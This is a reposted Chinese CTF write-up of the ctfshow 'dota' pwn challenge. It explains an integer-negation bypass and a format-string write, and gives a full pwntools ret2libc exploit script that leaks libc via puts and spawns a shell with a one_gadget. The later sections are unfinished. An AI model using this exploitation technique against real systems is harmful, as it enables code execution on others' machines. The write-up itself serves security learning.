ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ctfshow 摆烂杯 pwn

2022-01-05 22:31:08  阅读:228  来源: 互联网

标签:addr puts libc stack ctfshow pwn recvuntil 摆烂杯 payload


  半年没做过pwn题了,试着用这个比赛的题来捡一捡知识点。

dota

  main函数中需要绕过两个判断才能进入存在漏洞的函数。

  第一个判断很简单,输入“dota”就行了。

  第二个判断,需要先让v5小于0,在经过v5=-v5之后,继续让v5小于0,看看汇编是怎么样的。

NEG是汇编指令中的求补指令,对操作数执行求补运算:用零减去操作数,然后结果返回操作数。求补运算也可以表达成:将操作数按位取反后加1。

  eax可以容纳4个字节,1个字节由8个二进制位构成。

  对于2147483648,可以看到符号位是1,绕过了第一层检测,在执行完neg指令完之后会发现,他的补码还是自己的本身,这样就绕过了第二层检测,就可以进入漏洞函数了。

  这个函数就比较简单了,有一个栈上的格式化字符串漏洞,利用这个漏洞修改v1的值让它等于25,然后就可以执行read函数进行溢出了,之后就是常规的ret2libc3了。

# Author:bhxdn www.cnblogs.com/bhxdn/
# Date:2022/1/5
from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

context(os='linux',arch='amd64',log_level='debug')

def duan():
    gdb.attach(p)
    pause()

p.recvuntil('-\n')
p.recvuntil('-\n')
payload = 'dota'
p.sendline(payload)

p.recv()
p.sendline('2147483648')
p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
print hex(stack_addr)

payload = fmtstr_payload(8,{stack_addr:25})
p.sendline(payload)
p.recv()
p.recvuntil('\n')

pop_rdi = 0x04009b3
puts = elf.plt['puts']
puts_got = elf.got['puts']
return_addr = 0x0400737
payload = 'a'*0x80+'bbbbbbbb'+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(return_addr)
p.send(payload)
#leak libc
libc_addr = int(u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')))
print 'libc_addr-->'+hex(libc_addr)
libc_base = libc_addr-libc.symbols['puts']
print 'libc_base-->'+hex(libc_base)
og = [0x4f365,0x4f3c2,0x10a45c]
shell = libc_base+og[2]

p.recvuntil('0x')
stack_addr = int(p.recv(12),16)
print hex(stack_addr)
payload = fmtstr_payload(8,{stack_addr:25})
p.sendline(payload)
p.recv()
p.recvuntil('\n')
payload = 'a'*0x80+'bbbbbbbb'+p64(shell)
p.send(payload)
p.interactive()

CET4

CET6

 

 

未完...

 

标签:addr,puts,libc,stack,ctfshow,pwn,recvuntil,摆烂杯,payload
来源: https://www.cnblogs.com/bhxdn/p/15769132.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有